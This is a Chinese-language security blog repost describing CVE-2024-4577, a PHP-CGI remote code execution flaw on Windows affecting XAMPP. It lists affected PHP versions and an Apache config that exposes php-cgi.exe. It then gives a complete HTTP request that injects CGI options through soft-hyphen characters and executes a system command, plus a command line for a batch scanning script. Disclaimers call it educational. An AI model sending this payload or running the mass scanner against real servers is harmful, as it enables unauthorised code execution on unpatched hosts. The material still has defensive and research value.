PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)附poc和批量扫描脚本

admin 2024年6月8日19:42:12评论25 views字数 1409阅读4分41秒阅读模式

前言

在2024.6.6那天发现公众号发布了一篇很火的文章,是关于PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577),通过@Orange Tsai 几个小时前发了一条推文,称“他的一个 PHP 漏洞默认影响 XAMPP”,我们对此感到十分好奇。XAMPP 是管理员和开发人员快速部署 Apache、PHP 和许多其他工具的一种非常流行的方式,任何可能在其默认安装中给我们带来 RCE 的漏洞听起来都很诱人。

漏洞描述

CVE-2024-4577导致漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的,相对来说PHP在这个漏洞里更像是一个受害者。由于Windows系统内字符编码转换的Best-Fit特性导致PHP原本的安全限制被绕过,再加上一些特殊的PHP CGI环境配置导致了这个问题,最终导致漏洞利用的算是一些PHP的小技巧。

影响范围

这个漏洞理论上影响PHP的所有版本

  • • PHP 8.3 < 8.3.8

  • • PHP 8.2 < 8.2.20

  • • PHP 8.1 < 8.1.29

除此之外的其他PHP版本官方已经不再维护了,包括PHP8.0、PHP7、PHP5在内,但是理论上来说他们都受到这个影响。

漏洞复现

1. 第一种打法,通过修改httpd-xampp.conf中注释解开下面这段代码,注释之后需要重启apache服务

# PHP-CGI setup

#

<FilesMatch ".php$">

   SetHandler application/x-httpd-php-cgi

</FilesMatch>

<IfModule actions_module>

   Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"

</IfModule>

通过发送以下的payload,可以成功执行命令

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.200.12
User-Agent: curl/8.3.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

<?php system('whoami');?>

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)附poc和批量扫描脚本
  1. 2. 第二种打法,是直接默认按安装之后的,完全不需要在服务器上修改xampp的任何配置,也可以成功执行命令

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)附poc和批量扫描脚本

扫描工具

python3 CVE-2024-4577.py -uf 1.txt

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)附poc和批量扫描脚本

关注微信公众号回复0608获取POC

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)附poc和批量扫描脚本

免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试。读者在使用本文提供的信息时,应自行判断其适用性,并承担由此产生的一切风险和责任。本文作者对于读者基于本文内容所做出的任何行为或决定不承担任何责任。在任何情况下,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

原文始发于微信公众号(安全笔记):PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)附poc和批量扫描脚本

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月8日19:42:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)附poc和批量扫描脚本https://cn-sec.com/archives/2831643.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息